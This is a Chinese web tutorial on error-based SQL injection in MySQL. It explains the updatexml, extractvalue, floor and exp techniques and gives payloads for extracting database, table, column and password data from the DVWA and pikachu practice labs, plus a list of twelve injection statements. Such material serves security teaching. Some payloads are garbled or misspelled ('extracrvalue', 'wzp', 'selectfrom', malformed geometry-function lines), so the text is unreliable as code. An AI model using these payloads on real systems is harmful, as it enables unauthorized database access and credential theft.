SQL注入報(bào)錯(cuò)注入函數(shù)圖文詳解
報(bào)錯(cuò)注入的前提是當(dāng)語(yǔ)句發(fā)生錯(cuò)誤時(shí),錯(cuò)誤信息被輸出到前端。其漏洞原因是由于開(kāi)發(fā)人員在開(kāi)發(fā)程序時(shí)使用了print_r (),mysql_error(),mysqli_connect_error()函數(shù)將mysql錯(cuò)誤信息輸出到前端,因此可以通過(guò)閉合原先的語(yǔ)句,去執(zhí)行后面的語(yǔ)句。
常用報(bào)錯(cuò)函數(shù)
updatexml() 是mysql對(duì)xml文檔數(shù)據(jù)進(jìn)行查詢(xún)和修改的xpath函數(shù)
extractvalue() 是mysql對(duì)xml文檔數(shù)據(jù)進(jìn)行查詢(xún)的xpath函數(shù)
floor() mysql中用來(lái)取整的函數(shù)
exp() 此函數(shù)返回e(自然對(duì)數(shù)的底)指數(shù)X的冪值
用法詳解
updatexml()函數(shù)
updatexml()函數(shù)的作用就是改變(查找并替換)xml文檔中符合條件的節(jié)點(diǎn)的值
語(yǔ)法:updatexml(xml_document,XPthstring,new_value)
第一個(gè)參數(shù)是字符串string(XML文檔對(duì)象的名稱(chēng))
第二個(gè)參數(shù)是指定字符串中的一個(gè)位置(Xpath格式的字符串)
第三個(gè)參數(shù)是將要替換成什么,string格式
Xpath定位必須是有效的,否則則會(huì)發(fā)生錯(cuò)誤。我們就能利用這個(gè)特性爆出我們想要的數(shù)據(jù)
實(shí)例
注冊(cè)就是往數(shù)據(jù)庫(kù)里添加數(shù)據(jù),insert。

在用戶(hù)處輸入單引號(hào) 報(bào)錯(cuò)

猜測(cè)后端語(yǔ)句
insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)可以在xxx處對(duì)單引號(hào)閉合,爆出我們想要的數(shù)據(jù)
?id=1' or updatexml(0,concat(0x7e,select database()),1)'
閉合單引號(hào)使語(yǔ)句逃逸出來(lái),之后重新構(gòu)造語(yǔ)句查詢(xún),爆破出庫(kù)名為:"pikachu"

分析過(guò)程
當(dāng)輸入payload
?id=1' or updatexml(0,concat(0x7e,select database()),1)or'
后端會(huì)被拼接為
insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',表名列名字段和正常查詢(xún)一樣只是換了個(gè)位置
利用過(guò)程
庫(kù)名
1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#
表名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
查表信息(假定有一個(gè)users表,庫(kù)名為dvwa
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #
查字段值(假設(shè)字段名為last_name(dvwa.users意思為調(diào)用dvwa庫(kù)的users表)
1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #
extractvalue()函數(shù)
extractvalue()函數(shù)的作用是從目標(biāo)xml中返回包含所查詢(xún)值的字符串
extractvalue (XML_document, XPath_string);
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱(chēng),文中為doc
第二個(gè)參數(shù):XPath_string(Xpath格式的字符串),Xpath定位必須是有效的,否則會(huì)發(fā)生錯(cuò)誤
構(gòu)造payload
?id=1' or extracrvalue(0,concat(0x7e,database())) or '

注意xpath回顯只有一位使用limit函數(shù)逐個(gè)爆,且最長(zhǎng)為32位,超過(guò)32位爆不了
利用過(guò)程
當(dāng)前庫(kù)
1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #
當(dāng)前表
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
表信息(假設(shè)表為users
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #
字段值(字段為user_id,first_name,last_name,(dvwa.users意思為調(diào)用dvwa庫(kù)的users表)
1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #
floor()函數(shù)
floor()是mysql的一個(gè)取整函數(shù)
庫(kù)名
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #
表名(庫(kù)為dvwa,通過(guò)修改 limit 0,1值遞增查表, limit 1,1、limit 2,1
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
字段名(庫(kù):dvwa,表:users
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
字段值(字段值:user,password(dvwa.users意思為調(diào)用dvwa庫(kù)users表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
exp()函數(shù)
當(dāng)傳遞一個(gè)大于709的值時(shí),函數(shù)exp()就會(huì)引起一個(gè)溢出錯(cuò)誤。
庫(kù)名
id=1' or exp(~(SELECT * from(select database())a)) or '
表名(庫(kù)名:pikachu
id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '
字段名(表名:users
id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
字段值(字段名:password,表名:users
id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or '
12種報(bào)錯(cuò)注入函數(shù)
1、通過(guò)floor報(bào)錯(cuò),注入語(yǔ)句如下:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通過(guò)extractvalue報(bào)錯(cuò),注入語(yǔ)句如下:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3、通過(guò)updatexml報(bào)錯(cuò),注入語(yǔ)句如下:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4、通過(guò)exp報(bào)錯(cuò),注入語(yǔ)句如下:
and exp(~(select * from (select user () ) a) );
5、通過(guò)join報(bào)錯(cuò),注入語(yǔ)句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通過(guò)NAME_CONST報(bào)錯(cuò),注入語(yǔ)句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);
7、通過(guò)GeometryCollection()報(bào)錯(cuò),注入語(yǔ)句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通過(guò)polygon ()報(bào)錯(cuò),注入語(yǔ)句如下:
and polygon (()select * from(select user ())a)b );
9、通過(guò)multipoint ()報(bào)錯(cuò),注入語(yǔ)句如下:
and multipoint (()select * from(select user() )a)b );
10、通過(guò)multlinestring ()報(bào)錯(cuò),注入語(yǔ)句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通過(guò)multpolygon ()報(bào)錯(cuò),注入語(yǔ)句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通過(guò)linestring ()報(bào)錯(cuò),注入語(yǔ)句如下:
and linestring (()select * from(select user() )a)b );
總結(jié)
到此這篇關(guān)于SQL注入報(bào)錯(cuò)注入函數(shù)的文章就介紹到這了,更多相關(guān)SQL注入報(bào)錯(cuò)注入函數(shù)內(nèi)容請(qǐng)搜索本站以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持本站!
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
關(guān)注官方微信